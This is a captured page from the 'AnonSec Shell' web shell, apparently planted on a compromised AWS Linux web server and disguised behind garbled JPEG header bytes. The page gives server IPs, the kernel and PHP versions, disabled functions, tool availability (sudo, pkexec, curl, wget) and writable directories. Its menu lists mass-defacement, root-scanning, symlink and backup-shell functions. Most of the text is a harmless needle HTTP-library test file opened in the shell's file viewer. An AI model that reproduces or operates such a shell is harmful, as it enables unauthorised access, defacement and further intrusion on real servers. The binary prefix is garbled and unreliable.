JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/node_modules/pm2/node_modules/needle/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/node_modules/pm2/node_modules/needle/test/post_data_spec.js
var needle  = require('..'),
    http    = require('http'),
    should  = require('should'),
    sinon   = require('sinon'),
    stream  = require('stream'),
    helpers = require('./helpers');

var multiparts = ['----------------------NODENEEDLEHTTPCLIENT'];
multiparts.push(['Content-Disposition: form-data; name=\"foo\"'])
multiparts.push(['\r\nbar\r\n----------------------NODENEEDLEHTTPCLIENT--'])
// multiparts.push(['Content-Disposition: form-data; name=\"test\"'])
// multiparts.push(['\r\næµè¯\r\n----------------------NODENEEDLEHTTPCLIENT--'])
// multiparts.push(['\r\n' + Buffer.from('测试').toString() + '\r\n----------------------NODENEEDLEHTTPCLIENT--'])


describe('post data (e.g. request body)', function() {

  var stub, spy, server;

  before(function(done) {
    server = helpers.server({ port: 4321 }, done);
  })

  after(function(done) {
    server.close(done);
  })

  afterEach(function() {
    if (stub) stub.restore();
    if (spy) spy.restore();
  })

  function get(data, opts, cb) {
    return needle.request('get', 'http://localhost:' + 4321, data, opts, cb)
  }

  function post(data, opts, cb) {
    return needle.request('post', 'http://localhost:' + 4321, data, opts, cb)
  }

  function spystub_request() {
    var http_req = http.request;
    stub = sinon.stub(http, 'request', function(opts, cb) {
      var req = http_req(opts, cb);
      spy = sinon.spy(req, 'write');
      return req;
    })
  }

  function check_request(method) {
    stub.calledOnce.should.be.true;
    stub.args[0][0]['headers']['host'].should.equal('localhost:4321');
    stub.args[0][0]['method'].should.equal(method);
  }

  describe('with multipart: true', function() {

    describe('when null', function() {

      it('sends request (non multipart)', function(done) {
        spystub_request();

        post(null, { multipart: true }, function(err, resp) {
          check_request('post');
          done();
        })
      })

      it('doesnt set Content-Type header', function(done) {
        post(null, { multipart: true }, function(err, resp) {
          should.not.exist(resp.body.headers['content-type']);
          done();
        })
      })

      it('doesnt change default Accept header', function(done) {
        post(null, { multipart: true }, function(err, resp) {
          // resp.body contains 'header' and 'body', mirroring what we sent
          resp.body.headers['accept'].should.equal('*/*');
          done();
        })
      })

      it('doesnt write anything', function(done) {
        spystub_request();

        post(null, { multipart: true }, function(err, resp) {
          spy.called.should.be.false;
          resp.body.body.should.eql('');
          done();
        })
      })

    })

    describe('when string', function() {

      it('explodes', function() {
        (function() {
          post('foobar', { multipart: true })
        }).should.throw()
      })

    })

    describe('when object', function() {

      describe('get request', function() {

        it('sends request', function(done) {
          spystub_request();

          get({ foo: 'bar', test: '测试' }, { multipart: true }, function(err, resp) {
            check_request('get');
            done();
          })
        })

        it('sets Content-Type header', function(done) {
          post({ foo: 'bar', test: '测试' }, { multipart: true }, function(err, resp) {
            resp.body.headers['content-type'].should.equal('multipart/form-data; boundary=--------------------NODENEEDLEHTTPCLIENT');
            done();
          })
        })

        it('doesnt change default Accept header', function(done) {
          post({ foo: 'bar', test: '测试' }, { multipart: true }, function(err, resp) {
            resp.body.headers['accept'].should.equal('*/*');
            done();
          })
        })

        it('writes string as buffer', function(done) {
          spystub_request();

          get({ foo: 'bar' }, { multipart: true }, function(err, resp) {
            spy.called.should.be.true;

            spy.args[0][0].should.be.an.instanceof(String);
            spy.args[0][0].toString().should.equal(multiparts.join('\r\n'));
            resp.body.body.should.eql(multiparts.join('\r\n'));
            done();
          })
        })

        it('writes japanese chars correctly as binary', function(done) {
          spystub_request();

          get({ foo: 'bar', test: '测试' }, { multipart: true }, function(err, resp) {
            spy.called.should.be.true;

            spy.args[0][0].should.be.an.instanceof(String);
            Buffer.from(spy.args[0][0]).toString('hex').should.eql('2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d4e4f44454e4545444c4548545450434c49454e540d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d22666f6f220d0a0d0a6261720d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d4e4f44454e4545444c4548545450434c49454e540d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2274657374220d0a0d0ac3a6c2b5c28bc3a8c2afc2950d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d4e4f44454e4545444c4548545450434c49454e542d2d')
            done();
          })
        })


      })

      describe('post request', function() {

        it('sends request', function(done) {
          spystub_request();

          post({ foo: 'bar', test: '测试' }, { multipart: true }, function(err, resp) {
            check_request('post');
            done();
          })
        })

        it('writes string as buffer', function(done) {
          spystub_request();

          post({ foo: 'bar' }, { multipart: true }, function(err, resp) {
            spy.called.should.be.true;
            spy.args[0][0].should.be.an.instanceof(String);
            spy.args[0][0].toString().should.equal(multiparts.join('\r\n'));
            resp.body.body.should.eql(multiparts.join('\r\n'));
            done();
          })
        })

        it('writes japanese chars correctly as binary', function(done) {
          spystub_request();

          post({ foo: 'bar', test: '测试' }, { multipart: true }, function(err, resp) {
            spy.called.should.be.true;
            spy.args[0][0].should.be.an.instanceof(String);
            Buffer.from(spy.args[0][0]).toString('hex').should.eql('2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d4e4f44454e4545444c4548545450434c49454e540d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d22666f6f220d0a0d0a6261720d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d4e4f44454e4545444c4548545450434c49454e540d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2274657374220d0a0d0ac3a6c2b5c28bc3a8c2afc2950d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d4e4f44454e4545444c4548545450434c49454e542d2d')
            done();
          })
        })

      })

    })

    describe('when stream', function() {

      var stream_for_multipart;

      before(function() {
        stream_for_multipart = new stream.Readable();
        stream_for_multipart._read = function() {
          this.push('foobar');
          this.push(null);
        }
      })

      it('explodes', function() {
        (function() {
          post(stream_for_multipart, { multipart: true })
        }).should.throw()
      })

    })

  })

  describe('non multipart', function() {

    describe('when null', function() {

      describe('get request', function() {

        it('sends request', function(done) {
          spystub_request();

          get(null, {}, function(err, resp) {
            check_request('get');
            done();
          })
        })

        it('doesnt write anything', function(done) {
          spystub_request();

          get(null, {}, function(err, resp) {
            spy.called.should.be.false;
            resp.body.body.should.eql('');
            done();
          })
        })

      })

      describe('post request', function() {

        it('sends request', function(done) {
          spystub_request();

          post(null, {}, function(err, resp) {
            check_request('post');
            done();
          })
        })

        it('doesnt write anything', function(done) {
          spystub_request();

          post(null, {}, function(err, resp) {
            spy.called.should.be.false;
            resp.body.body.should.eql('');
            done();
          })
        })

      })

    })

    describe('when string with no equal sign', function() {

      describe('get request', function() {

        it('explodes', function() {
          (function() {
            get('foobar', {})
          }).should.throw()
        })

      })

      describe('post request', function() {

        it('sends request', function(done) {
          spystub_request();

          post('foobar', {}, function(err, resp) {
            check_request('post');
            done();
          })
        })

        it('writes string as buffer', function(done) {
          spystub_request();

          post('foobar', {}, function(err, resp) {
            spy.called.should.be.true;
            spy.args[0][0].should.be.an.instanceof(Buffer);
            spy.args[0][0].toString().should.equal('foobar');
            resp.body.body.should.eql('foobar');
            done();
          })
        })

      })

    })

    describe('when string WITH equal sign', function() {

      describe('get request', function() {

        describe('with json: false (default)', function() {

          it('sends request, adding data as querystring', function(done) {
            spystub_request();

            get('foo=bar', { json: false }, function(err, resp) {
              check_request('get');
              stub.args[0][0]['path'].should.equal('/?foo=bar')
              done();
            })
          })

          it('doesnt set Content-Type header', function(done) {
            get('foo=bar', { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              should.not.exist(resp.body.headers['content-type']);
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            get('foo=bar', { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('doesnt write anything', function(done) {
            get('foo=bar', { json: false }, function(err, resp) {
              spy.called.should.be.false;
              resp.body.body.should.eql('');
              done();
            })
          })

        })

        describe('with json: true', function() {

          it('sends request, without setting a querystring', function(done) {
            spystub_request();

            get('foo=bar', { json: true }, function(err, resp) {
              check_request('get');
              stub.args[0][0]['path'].should.equal('/')
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            get('foo=bar', { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            get('foo=bar', { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('writes raw string (assuming it already is JSON, so no JSON.stringify)', function(done) {
            get('foo=bar', { json: true }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].toString().should.eql('foo=bar')
              resp.body.body.should.eql('foo=bar');
              done();
            })
          })

        })

      })

      describe('post request', function() {

        describe('with json: false (default)', function() {

          it('sends request', function(done) {
            spystub_request();

            post('foo=bar', { json: false }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header to www-form-urlencoded', function(done) {
            post('foo=bar', { json: false }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/x-www-form-urlencoded');
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            post('foo=bar', { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes as buffer', function(done) {
            post('foo=bar', { json: false }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].should.be.an.instanceof(Buffer);
              spy.args[0][0].toString().should.equal('foo=bar');
              resp.body.body.should.eql('foo=bar');
              done();
            })
          })

        })

        describe('with json: true', function() {

          it('sends request', function(done) {
            spystub_request();

            post('foo=bar', { json: true }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            post('foo=bar', { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            post('foo=bar', { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('writes raw string (assuming it already is JSON, so no JSON.stringify)', function(done) {
            post('foo=bar', { json: true }, function(err, resp) {
              spy.called.should.be.true;
              var json = JSON.stringify('foo=bar');
              spy.args[0][0].toString().should.eql('foo=bar')
              resp.body.body.should.eql('foo=bar');
              done();
            })
          })

        })

      })

    })

    describe('when object', function() {

      describe('get request', function() {

        describe('with json: false (default)', function() {

          it('sends request, adding data as querystring', function(done) {
            spystub_request();

            get({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              check_request('get');
              stub.args[0][0]['path'].should.equal('/?foo=bar&test=%E6%B5%8B%E8%AF%95')
              done();
            })
          })

          it('doesnt set Content-Type header', function(done) {
            get({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              should.not.exist(resp.body.headers['content-type']);
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            get({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('doesnt write anything', function(done) {
            get({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              spy.called.should.be.false;
              resp.body.body.should.eql('');
              done();
            })
          })

        })

        describe('with json: true', function() {

          it('sends request, without setting a querystring', function(done) {
            spystub_request();

            get({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              check_request('get');
              stub.args[0][0]['path'].should.equal('/')
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            get({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            get({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('writes JSON.stringify version of object', function(done) {
            get({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              spy.called.should.be.true;
              var json = JSON.stringify({ foo: 'bar', test: '测试' })
              spy.args[0][0].toString().should.eql(json)
              resp.body.body.should.eql(json);
              done();
            })
          })

        })

      })

      describe('post request', function() {

        describe('with json: false (default)', function() {

          it('sends request', function(done) {
            spystub_request();

            post({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header to www-form-urlencoded', function(done) {
            post({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/x-www-form-urlencoded');
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            post({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes as buffer', function(done) {
            post({ foo: 'bar', test: '测试' }, { json: false }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].should.be.an.instanceof(Buffer);
              spy.args[0][0].toString().should.equal('foo=bar&test=%E6%B5%8B%E8%AF%95');
              resp.body.body.should.eql('foo=bar&test=%E6%B5%8B%E8%AF%95');
              done();
            })
          })

        })

        describe('with json: false and content_type = "application/json"', function() {

          var opts = { json: false, content_type: 'application/json' };

          it('sends request', function(done) {
            spystub_request();

            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header to application/json', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json');
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes as buffer', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].constructor.name.should.eql('Buffer');
              spy.args[0][0].toString().should.equal('foo=bar&test=%E6%B5%8B%E8%AF%95');
              resp.body.body.should.eql('foo=bar&test=%E6%B5%8B%E8%AF%95');
              done();
            })
          })

        })

        describe('with json: undefined but content-type = application/json', function() {

          var opts = { headers: { 'content-type': 'application/json' } };

          it('sends request', function(done) {
            spystub_request();

            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('doesnt change Content-Type header', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json');
              done();
            })
          })

          it('leaves default Accept header', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes JSON.stringified object', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              spy.called.should.be.true;
              var json = JSON.stringify({ foo: 'bar', test: '测试' })
              spy.args[0][0].toString().should.eql(json)
              resp.body.body.should.eql(json);
              done();
            })
          })
        })

        describe('with json: true', function() {

          it('sends request', function(done) {
            spystub_request();

            post({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            post({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            post({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('writes JSON.stringified object', function(done) {
            post({ foo: 'bar', test: '测试' }, { json: true }, function(err, resp) {
              spy.called.should.be.true;
              var json = JSON.stringify({ foo: 'bar', test: '测试' })
              spy.args[0][0].toString().should.eql(json)
              resp.body.body.should.eql(json);
              done();
            })
          })

        })


        describe('with json: true and content_type: */* (passed, not default)', function() {

          var opts = { json: true, accept: '*/*' };

          it('sends request', function(done) {
            spystub_request();

            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header to application/json', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('respects Accept header set by user', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes JSON.stringified object', function(done) {
            post({ foo: 'bar', test: '测试' }, opts, function(err, resp) {
              spy.called.should.be.true;
              var json = JSON.stringify({ foo: 'bar', test: '测试' })
              spy.args[0][0].toString().should.eql(json)
              resp.body.body.should.eql(json);
              done();
            })
          })

        })

      })

    })

    describe('when buffer', function() {

      describe('get request', function() {

        describe('with json: false (default)', function() {

          it('sends request', function(done) {
            spystub_request();

            get(Buffer.from('foobar'), { json: false }, function(err, resp) {
              check_request('get');
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            get(Buffer.from('foobar'), { json: false }, function(err, resp) {
              // should.not.exist(resp.body.headers['content-type']);
              resp.body.headers['content-type'].should.equal('application/x-www-form-urlencoded');

              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            get(Buffer.from('foobar'), { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes as buffer', function(done) {
            get(Buffer.from('foobar'), { json: false }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].should.be.an.instanceof(Buffer);
              spy.args[0][0].toString().should.equal('foobar');
              resp.body.body.should.eql('foobar');
              done();
            })
          })

        })

        describe('with json: true', function() {

          it('sends request, without setting a querystring', function(done) {
            spystub_request();

            get(Buffer.from('foobar'), { json: true }, function(err, resp) {
              check_request('get');
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            get(Buffer.from('foobar'), { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            get(Buffer.from('foobar'), { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('writes JSON.stringify version of object', function(done) {
            get(Buffer.from('foobar'), { json: true }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].toString().should.eql('foobar')
              resp.body.body.should.eql('foobar');
              done();
            })
          })

        })

      })

      describe('post request', function() {

        describe('with json: false (default)', function() {

          it('sends request', function(done) {
            spystub_request();

            post(Buffer.from('foobar'), { json: false }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header to www-form-urlencoded', function(done) {
            post(Buffer.from('foobar'), { json: false }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/x-www-form-urlencoded');
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            post(Buffer.from('foobar'), { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes as buffer', function(done) {
            post(Buffer.from('foobar'), { json: false }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].should.be.an.instanceof(Buffer);
              spy.args[0][0].toString().should.equal('foobar');
              resp.body.body.should.eql('foobar');
              done();
            })
          })

        })

        describe('with json: true', function() {

          it('sends request', function(done) {
            spystub_request();

            post(Buffer.from('foobar'), { json: true }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            post(Buffer.from('foobar'), { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            post(Buffer.from('foobar'), { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('passes raw buffer (assuming its a JSON string beneath)', function(done) {
            post(Buffer.from('foobar'), { json: true }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].toString().should.eql('foobar')
              resp.body.body.should.eql('foobar');
              done();
            })
          })

        })

      })

    })

    describe('when stream', function() {

      var input_stream;

      beforeEach(function() {
        input_stream = new stream.Readable();
        input_stream._read = function() {
          this.push('foobar');
          this.push(null);
        }
      })

      describe('get request', function() {

        it('explodes', function() {
          (function() {
            get(input_stream, {})
          }).should.throw()
        })

      });

      describe('post request', function() {

        describe('with json: false (default)', function() {

          it('sends request', function(done) {
            spystub_request();

            post(input_stream, { json: false }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header to www-form-urlencoded', function(done) {
            post(input_stream, { json: false }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/x-www-form-urlencoded');
              done();
            })
          })

          it('doesnt change default Accept header', function(done) {
            post(input_stream, { json: false }, function(err, resp) {
              // resp.body contains 'header' and 'body', mirroring what we sent
              resp.body.headers['accept'].should.equal('*/*');
              done();
            })
          })

          it('writes as buffer', function(done) {
            post(input_stream, { json: false }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].should.be.an.instanceof(Buffer);
              spy.args[0][0].toString().should.equal('foobar');
              resp.body.body.should.eql('foobar');
              done();
            })
          })

        })

        describe('with json: true', function() {

          it('sends request', function(done) {
            spystub_request();

            post(input_stream, { json: true }, function(err, resp) {
              check_request('post');
              done();
            })
          })

          it('sets Content-Type header', function(done) {
            post(input_stream, { json: true }, function(err, resp) {
              resp.body.headers['content-type'].should.equal('application/json; charset=utf-8');
              done();
            })
          })

          it('set Accept header to application/json', function(done) {
            post(input_stream, { json: true }, function(err, resp) {
              resp.body.headers['accept'].should.equal('application/json');
              done();
            })
          })

          it('writes JSON.stringified object', function(done) {
            post(input_stream, { json: true }, function(err, resp) {
              spy.called.should.be.true;
              spy.args[0][0].toString().should.eql('foobar')
              resp.body.body.should.eql('foobar');
              done();
            })
          })

        })

      })

    })

  })

})

Anon7 - 2022
AnonSec Team